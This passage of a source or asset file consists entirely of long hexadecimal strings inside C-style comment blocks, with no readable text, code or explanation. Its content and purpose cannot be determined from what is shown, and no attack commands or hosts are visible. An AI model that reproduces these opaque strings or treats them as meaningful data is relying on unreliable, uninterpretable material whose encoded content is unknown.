a1b4b50dcd75a274160c4b01c8ae240ac088d04741dc3dda55192570de15585206c660c8b26875b94ce8cb3a87cf491d5ed727e4ed8b63486f0d415a0ea147d16da0d81c72f8c25c71ff526ee221302dad5b7395fe6a89d48f2d6ac7409ce4cd65fa7b0766cba4c97721cf8e0f5c76702c55023acae147803004441459a1b4d3a699c76aecd511512752bcd60332190a2e550e8fca84149a03c0a1053e7effd904b49837ca913a2c6e4e6d68a2f054c73884210d813f9a8cde8f13ba79955339479bcb8f6e4808f0d4ea77fe00fcdf9f31d2017ed1ed1ab3f59f1c19e20e6944dd7ce504a5fd27eba3cf445aecd80aaf6cbecc704b260917c8bffb05d83063721ab9c0b638c6e6d875b6a39919ac0c2a9d9ad48e4a152b582309c6dfaabf963d407a1c81f3956b33622ee9d818ed3504d2820acebbbe8d05af9716d1a7b10a50fbded592766d285e3e109bb49bed10fdc07b6fe8bbe89afaa938e482ae8acaf79b6fe3eda792c7dafc1f5ed68190a91c092eb670e3dcfab2b7228b77cf1645d7371733baf105d71e7a3fbff3e532a0768c90a5706acfc50198cdcc4db42e4423b0a18739b6c54eb0f18895a632c1f59cd4fdc9a75bb4f9ea683cc8a134e34c3fd78c73c6b3f1a84fbabb8699e0c1623f7a64a94ff90fbf3356fa880e7fda26ea18c01430a4873e325592b8f2d624932e365e745ccbf57a176ccb7794a78fd85c96df8e8047697db4e276ba1b7ea570db4f39d4cd718b89ff119bd7d63102e04c83e9051eb041390839669a84c8ad942df50a72b59e7e83ec913a63fd0659d75bd5c43ffb86fa16d5f3906174eb7db1c411f306f1911a76e24d7f054349922dcd93e0a5d06fa29947c64971550706931e28629301341cc3a958892024fc7fab72ace0b228786168add50747f24c62b523cb3b73225caa9fc5e2d913420cce0e7ed75e8af4547212ae82d7b84e34c3374af018a971162b2b75f02e457012118f885179e11bd298d4fc9fa6e7619e9b49f23aba8270585cff210d80fe133965b7ef2dda4539bc08871ee55b7ed11f8b3e6f6d5a320caaa7d11a48343168583dea29e4648b5a50984e9bf7acb32b072e0c8ed32d913d480c57d44abd402d82ddb4dd2c454f498e787472a391de686f1c17994d0bceb12001e53ec3f3360776368b97ffb3fcf3ea67f5ea1ebf62620da2f4dbb080b976e1d41f913e6dd1c2a09f7b310faf7613b577bfef83ae1995f7567eea864421f2056fef1ad832c6162aa955594e0ffe699a4bc03b050373c01844076b4a6af5c4fcebe49e9b2e6f9aa3*/
/*c16bb7f7dbe7f271efb69ffc9a835d32c7fe4dfdf130dcc4078a6e4ebf33038700bf8d9c5fb92696a391cc7a4d5f7b96bcf4fa0070c7f6b4e2b772e452b26ecbe20381f5cae49e751364007de08b62d7c6592a37bf580837cc05f1426891384047793c61be05a2abd51d617a86da56432fa21f0dc84dfb8d12137e011eb196650f839ec36c6133114666de10b31009aef688319a9593eb2184fedcdbcdc5be9efdf8d2f1060bd9b1d90dbb9307595f5967c270fe97afdebd965d951b29cf20f7dd7fcde6a39199dba978786f4180d6eeaf40a8738e0b0bc1cdf78ef1d703df66ffb4e765bf9b95b17b7a32cb7e0292f32a907059ccef2d1e5b2b1b192eec736eed7c14c5f20d509604f3852bca02ecc4e5525efb9c62b15f13ce6f4b75c80378a46f70cf8c11a7baeb6d469b4dd49676f2a2c7e61765a4a9a14b254b6c57d0d6480ba48902ab473a840176d202eb2ba0f445ffc605f4256d151b5f0a3ef6bc3b95f006cd994e2362995a81967b4e769711bc8fe1c3bc9ba57c48fa09a7bf42e0a83ba68693290f2340b805cc6915d118e8a86aec225bdff6f134c4fa75ef6232e56266b82e7d1a30bad20745a21ff7ee6adaf119ef9d4d4021e389238707c64bb87c9dd301021a22cf15bbf6ef8460b4e302385d32c79bdac4c094ce84f1b0e456d367df30a3f783fc9ffa45d93529b32cef48bec1d7e8b153aebf3903fd90887c413a2d65012e66631731f1c456dacacf6a6f1d0ce70bb086677966588acfb406bbaf93f4c852033fca45a08bb033bb5002d4814bbb9b5fd4807882f30e548596c7e1cc05330cd6ac84d0cfa6a4ac4955e87f3be05a531fb2b28b12e7e38e3acf96ffad5bd08c1428940489d66846a93ef635432aa28d8538232e8d8579a44d1b131ea896659bfe6ec307b5018262abb1ef6eccfca46300b711ed3166d061702317f8e9053c2683f211788bc5095fe9a39b37578eec7028ca9faa45ecbf9625d7df17472410f04997857243589621f5a1de57f1c7c63ef54a1ae8cd096e6e12f71d0f3c5e091d84826b05103018ed5aa108af04c6e0ce7166f0c9bca6cf7ad09a6b49040aba80308890720dd34706e7340b3dcfdd0941cd81846f34dceb9db56d00edb48408259aabce2c9ee020ca4dd6fdbb847c2875d075e1c951b5e6096176b9b65fc5d2220695b8287097bd8b70fb47ad64e9cdc405fc82a68a3b0ee24ef99ea3942e94e109cfc0901c38d56ec5bda74b6b25f82abd5b6b5dfdef022c0437207b12db1d620e2a51f6fd755b9ae1485b66bf2297103a391eabfdcfa4026b7ba4088f0fb405ee6b6451b6a481295ca4999161edd4a3301a4cf024570741f64ea8c9f88b88ec25410383fb8cfeec5b3f814d743b104f16970a02d0da2beaf8a24637ad312a52d14ea94f997246b61c484feb0a86465c0e9376880acaca49ac45c2c35ce2d8cb4a47609329b48aaf0d0837aa1bdc85347f7336e9c151b783f4db83f2cd3fbaeb7f78696c165899e07d3dd65e90d212a138b5ff2599435d742d888eb2275cdf3aa4299fb1cad29583f7efcf56d0f4ed6421c3038c146658b99df4e60168d02d44272381840765c996e11a3bf7e96061b8949df359642ccbd490e7f9503a0031b367d096a2e025ec0bed531e7d417b1e629b2862e1419bce13a9fdfe56f8b8373170bb929fd3eb2e045795800628bec27f4a9ec7553f90a8c92cb81d1a25568db1c70382f8da3f1c1750a1af91b43b62b038ad6424b19c5bd51adaf4b72985d78115e5c0a63e44dc8469fdcd41b605d1ecbe2070e4562a0aaf202ae084cdf1dc86f92757dd4e077ffaf66f3a5a910d206323db689245601c7ee8c1ffbd219c7b8f33685d27751f604f6a0ad3e13b7c65d88933d0bd5ae445f8d9edacee4081544f54d3d9e700100891c35f56b7a3c67dd3530a4383a071c9ba3bef23ce622b6480c0933b46b08843acf7a9abf04e152d7bd51ce42ac01dbab45808306bcb35bb39adc329cc2f183b4666ee060e73a091e2b755f9058697c49eb53a1b9331592780aa8dbaed9d6b89319faf6ef2369b200464a8320c684b48d992d156c8204731cf8347af504f6871140b59314e2537255f5f20895987d030eea3064097e349dd2cae05401da1b4e323a04575624691dcf099f3f13d2e62808bcdcbcb11b712ac278dae51c8229ae360c22106749b7f2cd991d5f845f8629f4b3659908ef8559137fdea9103e8269210ab5ca299a9b8280328c0b175d50b0e15610b3a02bbeecece7f42c4811d146c0fe42cca499adfdbb48276c6c93a9671f137cc296fd97d86e31f209354d6a19c85e632baecf4fa6d48a29cbe079769216a43f5ab57ba188bf3d47bb4ed91ad0fe0af0c389ef7767a806d5b37893e5bff70fcf81598fe0d3c67cd5243d78277b78f775d97e292fc3897eeaf39ce6b131c71cf142b772cdfa3b2d7c9b1bf400a36b159966e0e8bfebcb51b5254521c76594a574acd50f7319be590ea9964eee231212083876935c26dd376b81bb1d7d03084c6f573083fecb1f45e7baca498f6e8ab74bb3e7a9641a8f0a04169d9f8e859863cf1c24eecb5b0c4d5d6b21fa1372f9832945645e420469d8d6570b565f2dc04754de127cb4a16daa227062dfa9f1734bc202f9d220e8c52ab2248fb1748d9486182482a907947484bc5773cb176a418c6d0394d87c3e15f91558e37b0475172246049fa728b9bf3381021d38adbade34459559361b934adf6ea63c3680605400ae3267d2b8210b80088ed68c434746826b629b688b158bb9bc5c27bc17f73a159079c92d3801f0d1a489a37bf929e2b18*/
/*3af9ceb5bb67019b172ee73a33152f052f4a3192df9534c7221b2802b4da181a4b6759580668f9c50bcb3156ec401f7c293e9e37d50043368406bc6031e259a25ead5eafe9ebe1c916dbba3fd29558d1611ef2dfd4d96d3c425ccff3a29ae3450d31fad5b1c7d87e89f2332a1ff0739b642613a580b2c7e325d53f243067bb8f4eec3def4672f769346ca1c729a5524e1afae9be0cf32759d3993c888ce93b448757c32069ea67d8316918ea190473e28c93c207c9cea11162d04c26bdc4fd42834ee9a6ba6b1e91af4b6f1bdd54011c8bc6726071f92970e44e99d4ec0fb3eb9534c76db2e8067f71074930bfccbe106971a7bbee668819ff5a94ee5eb584f59d6a302993a2282478aa50e64a85e5efb9004614c6c1d9ed1bcccc96637d4a6ae4253defc8cceeb40a7f1c3c16aaaa10f4fb5b8daa5210c325dd414361603c3d87f54a3a3585abbb36b1f219c49c2707f37ec769b538d06053924ccd9b545fb9786aeec5e75f162bd507d694b8fb8436540d8f48f5a8141bb0640b656023f51cd8ccefc0eecda1cbf62e1fc6c7824a9890dda75c0d781937f8e541bbb0409dd0f53d11a800ae93a39921e3cec1cd6bed7e72e98508a817b2f7a80c88d36822315a68b06514c2889bf5d4e0cebfc4fc3b7953f3c900934c6592e4380e2d6ca54c1d41343bce377e5b59f0a1b23c3388e946c4ce8b8c4e4e18dec5c7081e9aa533b87bed6e27166c55478dac94f0f03a7a99dd6920f4aac57f5a1e0c8365978a4a4870d3bf6856eff897f56816df40e88a7476a61d49b9399d392c3ef931c383217ce4314d1c2eb97b2b8eb9e89caf66bf0214f3dfa0b00f45ab64d09b5a7deae3172cc44a944c2e001eb218e161b495eeace3b25d1fad618de73cfd6d2486a8141aaafae52e0157a72a1c86f66cb856c8f40ddc5d7982b16c143e593d8da67d1b0dc8b0236f239fb8f3ea3a5a28858741ee417de6088a76e2996eff1e1473727a94c7e8290f0136e8bd9a3e9cd0875567a688203ec8d2353649be4053a0283d6b856bd7e55b5b85569802b417dab8883febca5f2e03d12f456af361dcee50c7159f0b9f8ac06f54dc9bc0e8dc53f05246e62a4b4d197b8d79b12e8ee5e13dd8124c4eee1f66da4e0c4d61f9317cd236394260a093e6ae62866874b119fd072e42da1c47949996f6a0c7236e886112733ae37081f4c7bb0b3fd2c7ea5c7a30c4d3fc6f55621f23bccfac791b32a4765df25215f767dc8e2dddbcf68b206711e7b63f1d9928c2abfa95f6918f80691526bb144374a972942f019d2f91f5ee59f5ded930590ce3f5a62d7192a84c85cf1c940c68f6e1cdddcebfda7e45bc611e3cb911d443863549d13482e6a2f47c3d6c760e0c55f0b2dabe0f23983108421f37338ae58f86f1cdd4c337198ba0f4d055212b98240982c477056057a46d8806e29ae7be10879e04ba5f27f0de57ebc1652b8e64cda7fe4929b47422fecf3e371a11d5fde528ffff904079767c19df5e4d96e02990fbab8cc47c4e444b4f4a7535a686dff52f87668be377460fbabc19d556b94fdaa161169c09df02702c3f96d2ff21340d6fb8f33e0757d07ee78f17d23a52c103a22d177fddf8dfac3b68c5caba6aa4b1a4b335496a11f30d86f3cef0971b9190bbb7d3340810414399eec185ad0136a3949e11a55709ee1bcfe486738c56bbd8547358bbf5e685cda17f9c4fd480f296ae182faa14cba66850dc624c787d7227c1ac1fbdf99f0699e0764e7774c5bdec5616578323f7813fe200af531760ffc3f9be0eeadd1b115d969357b8789b5c3ff2caf408e178ee5cb914cdded09e2962550566ea0b233b1f2260c9e5fc7c352fa69d9e76474393627e7214bc84fe5ca5d73d4c12c03e74850a91862f45407ad8d5748e85d1d77057d9c2b129cc6fd3aa4cab9a6a56aad8ee30c5596160e1549f50220c5a87a621b6ae08e2d9f372274fee05f2a1d6de27a7c5a4d0ce896e50bbce21ad40e1c99f74db667b333da776fdd9b57ed1a148658f5762a00c06e0f209e1a5297f102259a6351cb50245433595e4c3620b10d91d71469cf8d7d9d241982c0950b5d550debb6e07ec29a7e5a49430c237a5b5b1105237c4338a10f5a6b73db46571deb321b7b458835537d52d9e100d427c3237661371c5b3cf3ba159d18d3b35875720972649f7b3937ed88550a49073cd15365c487d4963e2610208ff5a87afbbe77c6b6da72683abcac20e2b558cdef1fb9f90c9538423fe220d1c35e4dbc2cf09a8ede44dc81208066a1055f93cf997d585bd709e9762255440f9090c1a66152a7bfefe8d981d9a3ed5801a37cb93559bd03a2ea6ca97cfa4926c2db2c76b8ca63fe577fedc21fef94af7956d938794f5c63801ceee131275f41fbef6a757281cc813e7b87f2555ceef520779cbac26782ace459e5bd6dad752dc3558a1ab4abce0a9ab994baa1ad9cd08a012bfff2c29b7049f21975c1148a829607f887e2243c8d48e977f853c328bf35215653bc190a5304ff60152785675abda3423a1fff51793f81e5aace45188e88dc89cf48cdf0ced72ddad29e3a502d8267b7123c5db7d1ed5819710192bc263e79e4817b273fff7a4bb8451ef0f935b8dd3c466874982e2144fc7e3989b5b1a4a65a832afe3517ef0d6b46349d99cedf9e5024ee4c155b4dc94102e237adb9d6a358a8f43431566e41c7c1cb3773876b7125ed4df6b7a17af71bdc9e48622771e7ffb85d131166e814a89a9d12963d4fa5882139d863e688b7583da74b7faeef5603f5613076edcd7ee47acf31855f188726360128c1bc50e5e11ac9a1e*/
/*9624ff007942494a66954b71972868c954c09dd3839743ebdd43961ce91ea2848794e7b5f110c1468df12f7142809caf79fcf5b4d4ed8b50f2c79495e1992ce2847c105823bbec945bf15e79bc99aa306bf541b14b38d6d73c047fdea317603e6452bae11c480046082e501dfbff0fb97e9618772904a4110c3eae403ed7278511361968bbe81f8c0d3e651c76b8e7692c264b111e4fb148696cfaa4f1a02a7bf4e7c74106f0b14f4def0652bd3fe4ce66be6a0fd1da2ee34412b7a17dff65f03855a8fa6552d22fe50f21fccaafb9edb2262ffafe714f981fdacfa4d31c8f4db8747edaaa3e5db83f45d165c329f89c5500e4cf70071e1d0291fc4f792fca6cb3a72ad836a367f302ec7d6317986b7742c989d9b59b67df06a20aab945306358ae3a6f4a9c847936e24a81cda75d455b120d688aa2eabf532b0a01a39b986fd9bba21fa8a3fddd45c5fde033470b670056ad2c25ca0f415fa08d97c412b2e63734cf68b74d797d372594e5bde2575d351921018543868faf87e213ff9b5cc8244c2335bc31e592bfbf485b0c8981d2b0b475be5d8d9037cd3a51ba6058735e044e94307bdfdcb0405e3460c58520afbd8de87e6c3044b71101f33427f3988e09e13496dff07362950868c0a4e9a5d86cf3b4c51e12ec85a58c5866d67f6e9e504e2a022d09430c561ca19ebdfc58bd9f31c06bbe32151fc4e0e1d45362c55768b775a0e2b8dbe4d24bf82a94eaed3d9c3ff52b5b5f46865109cef8078d26fb1c8d92acc5cc8bc579e1fcfa6d5c71ab001f1c8632da3585a0a40aad36c4520467b846a5f1a914e84e9df847b21e33bff499ba3a65026f917de939d1f5abd67120fd11f3ed0637a870d52f6fb95b165f6c6854896ea8e3d9a78bde77b6203baac5c0e17cb9e144593fd88867551fbfa740a237a955ab563d1def553c4c95b35150b1b16b63cbe139917ac88cde476f3951475e628cf85deb9657ad607f84b10bdc298f15515cd8640171fd57faf5dca1796cd731eaa6eea4d5609ae888d1d853f9ac612207b7131ff963ec5dca0a54f3f7b654ac53084407d7c7a90544cb318813c83c66e7b0b5050e6dcdf2fea5ed4db879f32cbfb8722d7627c77cd31b8c086375900d962635b486286c36ed1890b8387bd2f14317d51de1b762fd0aed5161dd49d7e16695ea799635eb9940fbcfadde46baf1097b56d47142c91226e1706121348247dd26c6f7f79793b3a4faa7c1d6c8ea99b602238ef938e2ed7d24fd9a8f0f8062de3bed5ed0546d486f7c561eaf5e826a64be6a1723d133bbcdf6e3e362b8657089905e25f64f8c6739f356ca8f65981e4f3092cd20ecbcfd6780dfe546613737f9f560e2c4a2bf7acbfc415af1aa21f23585c9e99a99736572ddab1b5e5493bc1eb5a65ed9c646559f2f4c76506c2af6e99ebdf39a9e0911280960a22737afb055539944e3ea510432e588c5031ad262953d74987461da30cddf3db89d5d48d6bb3ede2c36e952c3b3b62e8eddbb0ef58fde858357b7b1a8e7e20b755fefcc3775bd96980508b4fce7e0f4e9c2a7a6d510cfd01389fece39df25130a6e68e04ee06c4ed486d0bba4470f35b7626f9b3cda388a937ea2b52a2cbaef5eec940d54b1d2005d50616fc4b4a34a8b66ba0f6391bf7350ad088b9d28d30322dab13c0ab4fc6e31510f02b5823f5c19a49653b7bffb7496d29f0ef98ff200b673c084d9b22e2f8dceef87fcfd768163cea81137a2c29154311f175d5603980d5e0b394d0e1d0ffc10a052fcd60ba6fbf54bb887dd27522bc9fb2d139e9d25f3ac393a58064784c4134223aeda95fe6745aedec75a0d87efdc833780105d5c107c8482b7fb824063e570b3c7790912580a55a03e203a013f17196ee99e2db327d564600999588fcb76b176b7c79e2bfb22f25891b7ab74f873361461d6de7e9df54c98a826f16289cb0cd64be78fa117cf22a0cd4727dcc1339ee3780ed1d62853e5159c2006094e7d923a3cf03ef1b8b0f1d8b6b8b6b4cd6818b203043cd2ccca2fe776a1d3f3ae32f7a56af1f0b6215c39fc4b0dd7581de3032fe7e1b479fa9b21bb0db8323e210d90abc1b713e9b3e7dc6b2c1e4e7a4812e0ab68be3f17b6d2aa5fee54172c53a7b10bac213b8e0f53ff587851f24c613ef83994c89607df3d64af343d40cc028ee201eec2047157ecf782de09946a5a896c3a33ea8736ab5b7e5b8317c0d1e037991f0d9e3888274fda0b2f02ee6200650a05dc1a7a1b3dfdcb3435428dd37b5190e590b88e5d82b23d6154c0b56b15d492d5856c2b26094f62d9682b4cfaffceef14ffb7b24e235f722662b6239db39a0d024b8fb26d919b231efb8a00dcf11ace2c9c3f1bd97a3cc706b93e9afbbd37257a0e7a3cec5542b58c141938399abecbc73683e8cac603ca76bc5cdd106493475629de5cb4016dfcfc1f5cc232367346d2a9cfbc161580b67ad1fca80ac02d83f2c043b3ef4aba738ed56164bf924fe36911642e40af31dd97acb79fdd2bb0428d04c75e2bfec25d1c453818332678678541d4e1459b2a91f3375efdfc4f0944c1d71808e84bb55ea371686f054dba68af122e9ebde2599859652552cb029e13d4215d0e5aed36ae8146b188ac7d181ea467f21dbcc38f9ac33994431fc2a3d4baadcc59866de9aa74da5b0d8558d38d73ccb1c854d35f0ddf63ba5d8272de5cc772b0ebb0d2df430f9f7f9dcf4ea4dfab3c8b7d934a0ce27f0de3957adf6ad2ec469d0c3b4bb969ae776d40e1c44c840f377f54602530d021ce5c95b5988ef53da19f45c912c1fec2353c704dba898d9e18ed929e1e6*/
/*446621c8353230273c0340a1985a02b419cc2f7cbb66fd8117e8d734b0469a1652e9a62011d1b210f35e58f0f8491c6d03b8dd1568a01468450ddba8b4ad7d612245b8671aa2ec4af890ece31a7f6661eae17d133f5670bf7b51cadd1e04fb68633fef4ffd17a536bed11e8d6959bd1b52c01dec6fca547a3dbb917f9f01435bea632cc0fc6d429187d4b2b2576231c02c629746ed47d05cac2a24721ce4df71a09df2c5a4bb24a4a263af45dfec22cc6ec2e1fa5f5115a836ed3ccd950f9e21164785d6a155345bb61a554c443963d7c556b976b36e11a20a414852a5d7033dfd021d4279fd6af4459dfde7b15ad42199db1b841ef6a6c6e26518064d0332f9ec8ebd01ffa65fe123b54a0f29e64d92604e993fc25ddc5e680258f64fca8687829913b857ccf1f38d4223e564c3b48f8bbd27445ae6cf4c5a680238f27a019d12a42459992309519f8e44ddb6bf1168f01d92cadad07be43391d3c729ac8ec0493718bc225157eb295a19ee99154d9baba82157271cfac92da5fa2df4c65c94775e21caebab96a567c0e8be719473543eb8759d8bd6b723920b40932446e732e510aa065a30b237fe6fb53c2fc472bc38854e78bc5c0cc7424344dc69d19c7e8d7382d25e7656f1b1ad98838cbee53ab6de202048405df67b378182ea95c5bc6f9c19c1718369f66c61b501ca209b110115f6b2743b77d7cd8d0c3193ee4ddda19c9b1482344d0f5838b74cff714afee5a209b55076bebe9b7386c59f85bbabd0451935140d2dde395b67b5c1c2d55efceb8faceead6afa81547ac8734d64dd79799d827578ddea675c0423a8dddd5fb752aa87dd323828af9d4016026c2ba7f37c524d1690a2ed27b2e257481d90def56958de37d22da7e0871d6da220477c4a3e4ac106ba908592f23e87a983f3d9eac2999d166c1d9a4ab69881b170b5fce23fae8d2ab55b0eb88f2503b146aeb050e43f4045a41ad6debba947ae12e1cba751ccf6ac275a7e36b1084ada25ed686fac2baaf83d5a445f51568b34e98506db2671360395bdee90b6b41895cf7cf076261a7888bc6c4eab7c047bca4a5ae8c86adb37f3fa820f748132f02e10b99c7d92eca4ad9320a1653067b51edff07d893c3db0636164e0dc614e558b436a112cf037e1d8f184737318ae21721eb6f8af06239d08db40cda0d855139cebb605d29141f093fd0c5d0b30536142c43b170aa9bd202b5a8191bdd1b6e1c47cb64f9c247f5a76325f4338401ff888e5ebcb1156acbb45cc33b76201b67c0c1feb618c7fa52d5434a6cc88ed899c21fc84106425982fb863b56309fb45fba8fdbfa9481d364a2e1ad8f7fbe68e0f5a2857172149f4a52832de0f376025c09ea4a4d1fe65e3d3fcc221e7c6b6e4a4fb9f73aafc3b125d6a4ccb8e1ff7653b1ede875cedf177dde7106d82f87d3047eb90aaf71d05f4c1ee54b4a1e187f3403340ef85445a13f076d05d2a2d93b4fed75135e5948df2e2b7f91812e70faf26b0c7aff5753c02b48c18e4bcf7ac914f6ac7cf722c8fea55f59d2cfe7ab49e0a635ab2c28000ab31986940497bf35d757075ca92755192f2360e7d41700cd64285fba14052fbf39d44a504dd3c1bb4141b739bd3b20aa9105989a46ccd270577634536dd4716a8caf46a18d6f64f8228f118260b4ed2219f464be2247cef93019ed14d7075b50c0656d381aa6b05269251b367af1bff3915e98196a0f5b663235df6023a3295eb3333c0ec492954befa5f990feec28de6e2ff7dcbd753513d9ca8c5512556a78a3558a6126b88cf448328a1ce660273e4912d6fdc01da4b8724ed5c9f9d6a13838cb00c057150a3f50fb6ded81619603b484f1d877ec7a91be9a9f50d57e31f9c21ae1031272632d73cab80bb7faab6ade0e9aa655aca13763614090f1900d1a3ac911dc65d09a49bb863a4252aa86e65aed376e9e818566171c53a0486e1ad9f4ebf1823e9fc35ba7fc1ca3bd628c32325e0812216a67f4abe01f86294696777d3322c5aea32ee30a07c00fbf0ff2133a815ad23777cd44ad867921fb7e793cdc91d4e879db3a0aa8884dcca5f1f133fbceb895244ccfd4f7e1fce7e1db0e74b581ed63701169f8f7b0b4eab4d09255dae2127d8ad999c242284c01c8cae04c1c6b599b277205cc8ac5242bfeab7f8be062823b8640697c4872795eccc37f835feb2398ef09b95201fa21677020fca16c32ab314e974aadccbabebe133b2b9e725aa5f54e70691c0f11d29a551f66f58f2fcddc5148ce5f21bbbf03909547cd622c64ad8ecc3296e04493267d7b4fc44136270452b803bf792a0a7dbec329fc2cb9eba6fcbe43cbcd310dcef1e9939e5e71c726f0b197dbf703f97f3ccc43159930322b8fa6f9219cc9f9a1f20e1c0920cda19fac1412e5bb464e9843768285097628870dddea98559ebbc1ad269fc7ebd09f7aa73ced4a55d6a5e0ac50db008476bd2175bad252c3c3ae66f42146571370add9906c91a078eab2add32b22a66a4a8c6e4d33ef658307a3870c62422234d2e10814d492d62f22099ea7c5f590da9d4c673a483f90ad1b1412f8b330bbbfe64a2f60a3603c6f33fa786afdf7f557c4f3f973a4c7c78a58a490acac872620947a3555e11ed4218e514e66b1df6f959ca33b3937ed6cfc05097789f51890c804c039b2356cb34e8f251976f90ecc83c8f6cad9c9250b62e147c8d3927ab767624aeaef0f80843888ac32bf6e21636998cee14d4de3356daba7a8b9b80bab9e316f1f3bd12f57aacf34dbc780f4dd25cd900055837a75ebb06f941f31a17eb3054b2bc79eb86dda8c3b7ad71*/
/*07aa1ffeb7683334f5bb6f9c26ef4aaaadf9e22d211fc30a7d22291e496e526cbff5e18480886594663d36a425eb447157783bad1f769b78d05fc80967a37f0af586da4dae9fc46d1c2ff3586f8295fd249f9786e4126e189c65c54c8e4bca864755cadc9e063927d5fc8c56eff7c9319f315bd48ab6f3cb421bfe5f8d716293c24bf852b0f02a7b6451aa019ca00b228724b05ccbf4f7c6a526cb2ffb936f1a0fb72e33d5da11c92bbf5ce11998e2f4184a0f997ce9e3060921aec748a327920f44c247c6c56292f3a678a74b9ea41ffd914dd66c9ab8cd68eafcab58af86c3f35097d87af4e37cefaf6bb972f66521373a5ad86d383a0bfa7296d5b50b4f53421f651033beb2932eddf1feb11e573a0fe0c7004c82269e3ef1bec2826319723af8560b90165c02e062b055e64403c32b63f35f0766d4b0604842251eda0068df948b5038b0a1764c3696b4b9da88c9a1cb58e538ef15e3b880be47d9bffc27753e70a6170be0e3721ae0d3ade2780b91eebc0b589dd7cd0296a74b28060b2b45118041cb19723f68c6d275134d0de6907aee3f1de14fd7f046b10ee94bc878c401c85a000363e32d3bd15e6f5a909f1b96b97365da886627b5fed8493577ceb55da8d06d3f1dc59b79671a0a1cccabb05baf2e7050e8184c021d6eb5265d37246080f80b001b35a878565cf7eef0a1a042bd4ff4f5030b9e87481a36b010d323a43aa4b0d1601ec8f9f419af82ff913e34fc32031d72d281037fc833cf795182d0184503fd9559309f527b94dbcc185cc9c6fccbd6793e29af215025237694dada6ae0049dc161bcd87131871624a4622c12ecb2429b914df2b763061e228871fd38f0acd92e9135a3776a26f1ae3a6362222774675e38d6f9c3f60b3a24e692a7ed1475d178dc78dbb93a5ecdd3bc54be321021a2da53233c6cc56b7206d2b42bfddbd0dadd2bfbbeff2555aaf73e35e3ce38a5e1c00043c2852d333f65d3842604fdf329302e4d136b2cf5096ec2c5d3f7d174eac09255322cabf6d25159bc639b419a0ca03031522c6d68c7348846a0dfb19a36a2ce1b28fe1546292cb0b4725df40e761a1ec65559300cfd96feffd0ff3e7a5dd28448d15d111aeebe49f279798031a030aebc0bb5390e7d9cbc195b3212991e4f878043c5f0e2387fab8ad330c36cc88eceb9116eb3df1652dd3febe0d15627709fffdc4fb0291adbc980cf211cbe5d99d87c73cd0b4ccd2ae6de524cb16431b862895e171e4a422e1cb328b068c8549319f4cc6542d54dba4b4ba97a09087000d169f5b5a0c4ca908ff5fb7fe5af166cb93afda1c2d8b176afb0a1e866d72e4321be3a70b098d40c796509e23fab20c573bf96dafbb55c3fd78a7778a2b752cc45ec29f23506d69ef71fa21762a14bcb73e49279efd1660a28e3210f2f675363051b2bd6b49092fca8e38f0721d25ae981822e75ae8eaa58fe6308060180331761883ca336ee5c72826806a24cd2ce9e6161163ada7c6f618223ea4f8d07b039a613b4baade2228521d5f5c3f9155faf775b0e00c8f2f4b661c63e1d15fb0224ca465ddde9c5309a6cb0d6b541b51427dea6efed4c06a47274c87c931368c549b1aca2d22d80e0a2137bde8d7d0ab3ecb0f418a5a9a6d3080e5cb946b298a063cb9215a9841cf0988cff0fb02cffe3dda040790979a3dc017673ff6c8c5974b49ab7e77a11d1b51520bf17f55919281aafa83249b9599107a74ab57e6993611513eeaf9ec160ff3499073a60b63c477b80cce53550d13d41ddfc11a2cdbb2041408a4487115d29d7527770775a565b444f516c6b3a74cb95f75935980a90c43e5d10f278273bfc226c457c3ea6928d0bc5f44d6e88769a6c029b69eb5204eff6f0f62a88ca93679f2aa0ee999b45e99d482e2adb02d1ab5306f3406be8a2f2db1509dc91be4788ffdaaf7934d2b46ed96fc2b05d234f5bfbc2a7be05aa2b2b2a5fca7a6369066b0a7b61417ce80d4727a203cb7ceb0afa8dc46938277f8bd372b61705a27c33fbc3d1e0ac4ce83094ada22506cb34a1d33731bd91bf9b010bcd21308a815d9d6e16008c9904023126ca18407db825e77257e975dc522163d06b4cd4cd7bcb2907d8349ff13714551643e72258c9680b08aada8fbb9ef2fac7ab5fe28df7f6d10d4ad30e5959f1f0d8cc95525883e6c07a8473ae5c3c3a68b18fb0f7e4457bb2051b8ff7f5f66b1ba610126bcbd94f19907178d183a0059317398455f1eda1c974cd4b15c326078768b3494a2b098299d6c6b92f5b65ba837206b39f34352170fc971edea963b4a2ba826be47171f834439eab8874741d0e844f7683c815531abb91e02f2e6d52c7dc45ca45e4f3d860c8cea77b9d4efbb8b8fdd7612cc67255c0bb9beb11e82147bc40728d8ff73554627d84e242865aeb75b5b7f1204a44933567f8f7e8f24ce3243723b3fe16d7705dfb8d411d404b5545e9e9867cb2dceedad858d51385cdf79e49b0ce3e22c32115c173ebaa96cdf276b2b188bd5931311e1f430788bf118483c6a4f872c1a1265120c2fd918d4389004a1d41ba52e11688e75cfa6dca7b4d6cc8d77b94f5fe18d7075cba3f4bb4cb26488148975827284f2bcd59928d770447f491d96c0b9b1b397c8bfce36badf86485c3b7e8f432d5f0eb6e0dd8479127361ef3a5c3a365575e7710997d041b578a487880944a7f642d8a17b628e80a9434578ab36500b4c2fb4967ea4e0e75db035e4a9d8635cb0f32f6164cfbaf2009157afc102d65d6ab4054c902ddbadd74a88c75e98a4b9fa953ad8c0af4f0194f1b560bbf15202baaf8207e*/
/*7f80ed3c02dac48e22960c46111243723ed7612fb30acf67be7e89d6411bd2a3b64d2ee88127162470bd3cdbf1d4e529ac736eafd84e01267d3838f65b4f494de8e0cd23120faf4b3dd2703d020b7855752186e6d806331318543f5ce880d0979417e2379b35d68b548d49bd9a47bf7e6532a47143edeab1b9073bc2f7c87f3ba9773ec5e7f1951463aed97705f7e867be2a7d255598c5058cb8f08ef8bbb174c2aeb96eed7b4a64bb0104382072fcce3c31434f94fd7cfe58f5d3d581eecd123a67f30b530c86075f8e29ea1176aea9eebf7c14ec02e1a906df8e5ff22fc229ce137bb962b3e3cdd7632f90d79d5a31ff4ca6218f2eae0269f1fd8888c609c6db53e1849050c6f902c5eddf7d9ab0ae973e6f6aa83532580b87bd9cc2380253afb721ce3d8861c1f091407ffff175904b07ddf1329fdb3e268214bb9e09f8359f7e49262c0a94c2c4290bcae57a98a0787b4f084d39c87255157ca8f3178da1a2e5a5a0191ed2bdef0a1c6ad23788d91f45de9e23d7e5dc31277b4b924e6bd42d46829945d6b4669cc46edd4ed3caba1b5ca27735e14a1ee9c13c5a7bb690bf302835267659f7a6ad8100a8366877b51ae3eda8c8bca2b76dffb9b1c03d10a09a6ef557a3dccbc554f063ed1da04aa18d185971226eb484a46b0a69d3c1b62092f49a96cf8c591d386838aed7cb73ad4c6e554d4e6d886788d6886aa39c247a4c9825798145e8b0f85ee76fdc8f144a822c7fc08803f